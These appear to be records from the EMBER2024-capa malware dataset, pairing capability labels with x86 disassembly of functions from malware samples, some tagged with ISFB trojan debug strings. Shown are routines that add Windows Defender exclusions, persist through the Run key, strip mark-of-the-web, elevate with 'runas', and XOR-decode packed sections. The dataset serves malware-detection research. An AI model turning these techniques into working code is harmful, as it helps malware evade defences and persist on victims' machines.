joyce8/EMBER2024-capa huggingface dataset:
Function at 0x491e84
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
push edi
test dl, dl
je 0x491e99
add esp, 0xfffffff0
call fcn.004045c0
mov dword [ebp - 4], ecx
mov ebx, edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.0040561c
xor eax, eax
push ebp
push 0x491f74
push dword fs:[eax]
mov dword fs:[eax], esp
mov ecx, dword [ebp - 4]
xor edx, edx
mov eax, esi
call fcn.0048c9d4
lea ecx, [ebp - 0xc]
xor edx, edx
xor eax, eax
call fcn.00418688
mov eax, dword [ebp - 0xc]
mov dword [esi + 0x24], eax
mov eax, dword [ebp - 8]
mov dword [esi + 0x28], eax
lea ecx, [ebp - 0xc]
xor edx, edx
xor eax, eax
call fcn.00418688
mov eax, dword [ebp - 0xc]
mov dword [esi + 0x3c], eax
mov eax, dword [ebp - 8]
mov dword [esi + 0x40], eax
lea ecx, [ebp - 0xc]
xor edx, edx
xor eax, eax
call fcn.00418688
mov eax, dword [ebp - 0xc]
mov dword [esi + 0x34], eax
mov eax, dword [ebp - 8]
mov dword [esi + 0x38], eax
lea ecx, [ebp - 0xc]
xor edx, edx
xor eax, eax
call fcn.00418688
mov eax, dword [ebp - 0xc]
mov dword [esi + 0x2c], eax
mov eax, dword [ebp - 8]
mov dword [esi + 0x30], eax
push 0
lea eax, [ebp - 0x1c]
push eax
xor ecx, ecx
xor edx, edx
xor eax, eax
call fcn.004186b0
push esi
lea edi, [esi + 0x44]
lea esi, [ebp - 0x1c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop esi
mov dword [esi + 0xc], 0xffffffff
mov byte [esi + 0x54], 0
mov byte [esi + 0x55], 0
mov byte [esi + 0x56], 0
mov byte [esi + 0x57], 0
mov byte [esi + 0x58], 0
mov byte [esi + 0x59], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x491f7b
lea eax, [ebp - 4]
call fcn.0040519c
ret
Function at 0x51652c
Capabilities:
Hash data with crc32

Disassembly:
push ebx
push esi
xor esi, esi
mov ecx, 0x5742f8
mov eax, esi
mov edx, 8
mov ebx, eax
and ebx, 1
test bl, bl
je 0x51654e
shr eax, 1
xor eax, 0xedb88320
jmp 0x516550
shr eax, 1
dec edx
jne 0x51653c
mov dword [ecx], eax
inc esi
add ecx, 4
cmp esi, 0x100
jne 0x516535
mov byte [0x5746f8], 1
pop esi
pop ebx
ret

Function at 0x51656c
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
cmp byte [0x5746f8], 0
jne 0x516583
call fcn.0051652c
mov eax, edi
dec eax
test eax, eax
jl 0x5165ab
inc eax
xor edx, edx
movzx ecx, byte [esi + edx]
xor ecx, ebx
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x5742f8]
shr ebx, 8
xor ecx, ebx
mov ebx, ecx
inc edx
dec eax
jne 0x51658d
mov eax, ebx
pop edi
pop esi
pop ebx
ret

Function at 0x561154
Capabilities:
Acquire debug privileges

Disassembly:
add esp, 0xffffffcc
push esp
push 0x28
call fcn.00407890
push eax
call fcn.004077a0
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x561176
mov eax, 0xfffffffe
jmp 0x5611ed
lea eax, [esp + 8]
push eax
push 0x5611f4
push 0
call fcn.00407798
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x561198
mov eax, 0xfffffffd
jmp 0x5611ed
xor eax, eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 1
mov eax, dword [esp + 8]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0xc]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], 2
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x28]
push eax
push 0x10
lea eax, [esp + 0x20]
push eax
push 0
mov eax, dword [esp + 0x14]
push eax
call fcn.00407788
call fcn.004078d8
test eax, eax
je 0x5611eb
mov eax, 0xfffffffc
jmp 0x5611ed
xor eax, eax
add esp, 0x34
ret

Function at 0x4ca25d
Capabilities:
Encode data using xor

Disassembly:
mov ebx, 0x4c9fca
sub edi, edi
inc edi
sub edi, 0x63c6f9ab
call fcn.004ca294
sub edi, edi
sub edi, 0xd6eaf3a3
mov esi, 0xbb20c14c
xor dword [edx], ebx
push 0xc78c2973
pop esi
mov esi, esi
inc edx
add esi, edi
cmp edx, ecx
jne fcn.004ca25d
or esi, esi
dec esi
dec edi
ret
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x432072
nop
mov ebx, 0x40c7d0
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x76690d3a
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x432060
nop
nop
mov eax, section..text_1
cmp eax, 0
nop
nop
nop
nop
je 0x4320d2
nop
nop
nop
nop
mov ebx, 0x42f314
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x495d62f9
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4320c0
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x43cf69
Capabilities:
Encode data using xor

Disassembly:
sub esp, 4
mov dword [esp], 0x43ccda
pop esi
mov ebx, 0xfb060384
add edx, edx
call fcn.0043cfaa
sub edx, ebx
xor dword [ecx], esi
and ebx, edx
add ecx, 1
dec ebx
mov ebx, 0xe8e54239
cmp ecx, edi
jne fcn.0043cf69
sub edx, ebx
dec ebx
ret

Function at 0x433003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..rdata
nop
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x433072
nop
mov ebx, 0x40de38
nop
nop
nop
nop
nop
mov ecx, ebx
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x53be41b6
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x433060
nop
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4330d2
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x463a0a53
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
loop 0x4330c0
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x406de0
Capabilities:
Hide graphical window

Disassembly:
push 0
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_ShowWindow
push 0xffffffffffffffec
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_GetWindowLongA
or eax, 0x80
push eax
push 0xffffffffffffffec
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_SetWindowLongA
push 5
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_ShowWindow
ret

Function at 0x404b24
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x404b33
pop dword [ebp - 0x2c]
mov eax, 0x87ac4c3e
sub eax, 0x876c010b
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x88cfd124
add dword [ebp - 0x3c], 0xc5827427
mov dword [ebp - 0x38], 0x88aabef6
add dword [ebp - 0x38], 0xa9888d4f
mov dword [ebp - 0x34], 0x4e494a30
add dword [ebp - 0x34], 0xfe02f9fe
mov dword [ebp - 0x30], 0xeb28025d
add dword [ebp - 0x30], 0x14d7fda3
lea eax, [ebp - 0x3c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x67173c15
sub dword [ebp - 0x3c], 0xf2a4d2bf
mov dword [ebp - 0x38], 0xf1ea61af
sub dword [ebp - 0x38], 0xb07e003a
mov dword [ebp - 0x34], 0xcf7fe296
add dword [ebp - 0x34], 0x93ef89d6
mov dword [ebp - 0x30], 0xff8dd630
sub dword [ebp - 0x30], 0xff8dd630
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0xd994fe20
add eax, 0x26ad3304
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x43d04
push 0
call eax
mov ecx, 0x2294051d
add ecx, 0xdd6c5b40
mov edi, eax
mov edx, 0x6f5b1c38
add edx, 0x90e827c8
add edx, dword [ebp - 0x2c]
mov esi, 0xaa9591
sub esi, 0x6bee2c85
sub dword [ebp - 0x28], 0xa1e3996b
mov ebx, dword [edx]
mov dword [ebp - 8], 0x88497732
sub ebx, esi
add dword [ebp - 0x14], 0x4592f28a
mov dword [edi], ebx
xor dword [ebp - 0x20], ebx
add edi, 0x41032f19
sub edi, 0x41032f15
add edx, 0x2c84afae
add edx, 0xd37b5056
loop 0x404c50
add eax, 0x17447
mov ebx, eax
add eax, 0x3d32e3ca
add eax, 0xc2cd1c3b
mov ecx, 0xe1222162
add ecx, 0x1f1dde9e
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret

Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c
Function at 0x804e1c
Capabilities:
Encode data using xor

Disassembly:
add byte [ecx], cl
dec ecx
fisttp dword [0xeb000000]
jmp 0x804e26
add byte [edx + 6], dl
add byte [eax], al
pushal
call 0x804e2c
jmp 0x804e26
pushal
call 0x804e2c
pop ebp
sub ebp, 0x10
sub ebp, 0x404e1c
jmp 0x804e42
dec ecx
mov eax, 0x404e1c
mov eax, 0x404e1c
add eax, ebp
add eax, 0x4c
mov ecx, 0x606
mov edx, 0xc11dec2f
xor byte [eax], dl
inc eax
dec ecx
jne 0x804e59
jmp 0x804e6c
movsb byte es:[edi], byte [esi]
loop 0x804e13
cmpsb byte [esi], byte es:[edi]
adc ebp, dword [edi]
das
das
scasb al, byte es:[edi]
out dx, al
xlatb
das
das
das
sub al, 0xe2
xchg edi, eax
sub ebp, dword [edi]
das
das
xchg ebp, eax
pop es
das
das
das
fmul st(5)
sub al, 0xe7
movsb byte es:[edi], byte [esi]
scasb al, byte es:[edi]
and ebp, dword [edi]
das
das
sub al, 0xea
jg 0x804f13
inc edi
wait
push esp
and dword [edi], ebp
inc edi
dec edx
std
push ds
das
add ecx, dword cs:[ebx]
inc edi
jo 0x804e3f
je 0x804ec8
invalid
invalid
sbb al, 0xe6
scasb al, byte es:[edi]
fnstsw word [ecx - 0x5163a3e7]
fnstsw word [ecx + 0x1c9c5c19]
std
lodsb al, byte [esi]
invalid
Function at 0x401000
Capabilities:
Print debug messages
Set registry value

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
push edi
xor edi, edi
test byte [0x40c88c], 1
je 0x401017
mov edi, pe_nt_image_headers32
mov ebx, dword [sym.imp.SHLWAPI.dll_StrChrA]
lea eax, [esp + 0x10]
push eax
mov eax, edi
or eax, 0x20019
push eax
push 0
push 0x5c
push dword [esp + 0x38]
call ebx
mov ebp, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
inc eax
push eax
push 0x80000002
call ebp
mov esi, eax
xor eax, eax
cmp esi, eax
jne 0x40111b
push eax
push eax
lea ecx, [esp + 0x24]
push ecx
push eax
push eax
push 4
push 4
push dword [esp + 0x2c]
call dword [sym.imp.ADVAPI32.dll_GetSecurityInfo]
mov esi, eax
test esi, esi
jne 0x401111
push dword [esp + 0x10]
call fcn.004053cf
mov esi, eax
test esi, esi
jne 0x401111
lea eax, [esp + 0x14]
push eax
or edi, 0x2001f
push edi
push esi
push 0x5c
push dword [esp + 0x38]
call ebx
inc eax
push eax
push 0x80000002
call ebp
test eax, eax
jne 0x4010cd
push 4
lea eax, [esp + 0x1c]
push eax
push 4
push esi
push dword [esp + 0x34]
mov dword [esp + 0x2c], esi
push dword [esp + 0x28]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4010fa
push 0x100000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
push str.ISFB:_Unable_to_open_a_key_to_write_it_n
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
pop ecx
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor esi, esi
push esi
push dword [esp + 0x20]
push esi
push esi
push 4
push 4
push dword [esp + 0x40]
call dword [sym.imp.ADVAPI32.dll_SetNamedSecurityInfoA]
mov esi, eax
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x100000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push esi
mov edi, eax
push str.ISFB:_MsseAddExclusion___done_with_status__u_n
push edi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 8

Function at 0x401154
Capabilities:
Print debug messages

Disassembly:
push ebx
push esi
push str.MACHINESOFTWAREMicrosoftMicrosoft_AntimalwareExclusionsPaths
push edi
call section..text
mov esi, eax
test esi, esi
je 0x40118d
push str.MACHINESOFTWAREMicrosoftWindows_DefenderExclusionsPaths
push edi
call section..text
mov esi, eax
test esi, esi
jne 0x4011ba
push 0x100000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push edi
push str.ISFB:_File___s__excluded_from_Defender_check_paths._n
jmp 0x4011a0
push 0x100000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push edi
push str.ISFB:_File___s__excluded_from_MSSE_check_paths._n
mov ebx, eax
push ebx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, esi
pop esi
pop ebx
ret
Function at 0x4012ce
Capabilities:
Accept command line arguments
Print debug messages
Terminate process

Disassembly:
sub esp, 0x74
push ebx
push ebp
push esi
push edi
and dword [esp + 0x10], 0
push 0x1b
pop ecx
mov esi, str.01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789
lea edi, [esp + 0x14]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x100000
movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.KERNEL32.dll_LocalAlloc]
push 0x40
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov esi, eax
call ebx
mov ebp, dword [sym.imp.USER32.dll_wsprintfA]
push eax
push str.ISFB:_Started_as_win32_process_0x_x_n
push esi
call ebp
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LocalFree]
call esi
push str.dump
push 0x6f
lea eax, [esp + 0x1c]
call fcn.00406844
push 0
push sym.imp.version.dll_GetFileVersionInfoW
push 0
call dword [sym.imp.KERNEL32.dll_HeapCreate]
test eax, eax
mov dword [0x40c800], eax
je 0x401376
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x40c894], eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
call fcn.00402825
push dword [0x40c800]
mov dword [esp + 0x14], eax
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
push 0x100000
push 0x40
call edi
push dword [esp + 0x10]
mov edi, eax
call ebx
push eax
push str.ISFB:_Process_0x_x_finished_with_status__u_n
push edi
call ebp
add esp, 0x10
push edi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push edi
call esi
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x401a5a
Capabilities:
Bypass mark of the web
Copy file
Delete file
Get common file path
Print debug messages

Disassembly:
push ecx
push ecx
mov eax, dword [0x40c89c]
push ebx
mov ebx, dword [0x40ca48]
push esi
push edi
push ebx
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0x115
push 0
push dword [0x40c800]
mov edi, eax
mov dword [esp + 0x1c], edi
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x401b9e
push ebp
mov ebp, 0x104
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [eax + edi + 2]
cmp eax, ebp
mov edi, dword [sym.imp.KERNEL32.dll_CopyFileA]
ja 0x401ad3
push ebx
push esi
push esi
call dword [sym.imp.SHLWAPI.dll_PathCombineA]
push 0
push esi
push dword [esp + 0x18]
call edi
test eax, eax
je 0x401ad3
or dword [0x40c88c], 2
jmp 0x401b4c
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ecx, dword [esp + 0x14]
lea eax, [eax + ecx + 2]
cmp eax, ebp
ja 0x401afd
push ebx
push esi
push esi
call dword [sym.imp.SHLWAPI.dll_PathCombineA]
push 0
push esi
push dword [esp + 0x18]
call edi
test eax, eax
jne 0x401aca
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov ecx, dword [esp + 0x14]
lea eax, [eax + ecx + 1]
cmp eax, ebp
ja 0x401b27
push ebx
push esi
push esi
call dword [sym.imp.SHLWAPI.dll_PathCombineA]
push 0
push esi
push dword [esp + 0x18]
call edi
test eax, eax
jne 0x401b4c
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0
push esi
push dword [esp + 0x18]
call edi
test eax, eax
jne 0x401b4c
push esi
push eax
push dword [0x40c800]
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor esi, esi
test esi, esi
pop ebp
je 0x401b9e
push 0x100000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push esi
mov edi, eax
push str.ISFB:_The_installer_saved_as___s__n
push edi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push str.:Zone.Identifier
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov byte [edi + esi], 0
pop edi
mov eax, esi
pop esi
pop ebx
pop ecx
pop ecx
ret
Function at 0x401ba6
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
test byte [ebp + 8], 8
push esi
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], 1
mov eax, 0x200
je 0x401bca
mov eax, pe_nt_image_headers32
mov esi, dword [0x40c89c]
cmp esi, ebx
mov dword [ebp - 8], esi
je 0x401c82
push edi
lea ecx, [ebp - 4]
push ecx
or eax, 0xf003f
push eax
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
jne 0x401c6f
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push ebx
push dword [0x40c800]
mov dword [ebp + 8], eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
cmp esi, ebx
je 0x401c63
lea eax, [ebp + 8]
push eax
push esi
lea eax, [ebp - 0x10]
push eax
push ebx
push dword [0x40ca40]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x401c59
push dword [ebp - 8]
mov eax, dword [ebp + 8]
push esi
mov byte [esi + eax - 1], bl
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x401c59
mov dword [ebp - 0xc], 1
push esi
push ebx
push dword [0x40c800]
call edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [ebp - 8]
cmp esi, dword [0x40c89c]
je 0x401c81
push esi
push ebx
push dword [0x40c800]
call edi
pop edi
mov eax, dword [ebp - 0xc]
pop esi
pop ebx
leave
ret 4
Function at 0x4025e2
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push esi
lea eax, [ebp - 4]
push eax
push dword [0x40c814]
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x402649
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
mov esi, str.Client
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x402640
cmp dword [ebp - 8], 0x28
jne 0x402640
and dword [ebp - 0x34], eax
push 0x28
lea eax, [ebp - 0x34]
push eax
push 3
push 0
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
leave
ret

Function at 0x40271a
Capabilities:
Create process on windows
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
push esi
xor esi, esi
push 0x38
lea eax, [ebp - 0x38]
push esi
push eax
mov dword [ebp - 0x3c], esi
call sub.ntdll.dll_memset
add esp, 0xc
push 2
push esi
call dword [sym.imp.ole32.dll_CoInitializeEx]
push 0x236f
call fcn.00406eb2
mov ebx, eax
cmp ebx, esi
je 0x4027aa
push ebx
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionA]
cmp eax, esi
je 0x402766
push str..exe
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebx
call edi
push dword [0x40c89c]
mov esi, eax
add esi, esi
call edi
lea eax, [eax + esi + 0x1f]
push eax
call fcn.004013ab
mov esi, eax
test esi, esi
pop edi
je 0x4027a4
push ebx
push ebx
push dword [0x40c89c]
push str._C__copy___s____s___y____s__
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
push ebx
call fcn.004013c0
test esi, esi
mov dword [ebp - 0x3c], 0x3c
mov dword [ebp - 0x30], str.runas
je 0x4027c5
mov dword [ebp - 0x2c], str.cmd.exe
jmp 0x4027cd
mov eax, dword [0x40c89c]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], esi
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x4027d0
test esi, esi
je 0x4027e8
push esi
call fcn.004013c0
push 0x100000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ISFB:_Shell_Execute_complete__status__u_n
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
call dword [sym.imp.ole32.dll_CoUninitialize]
pop esi
pop ebx
leave
ret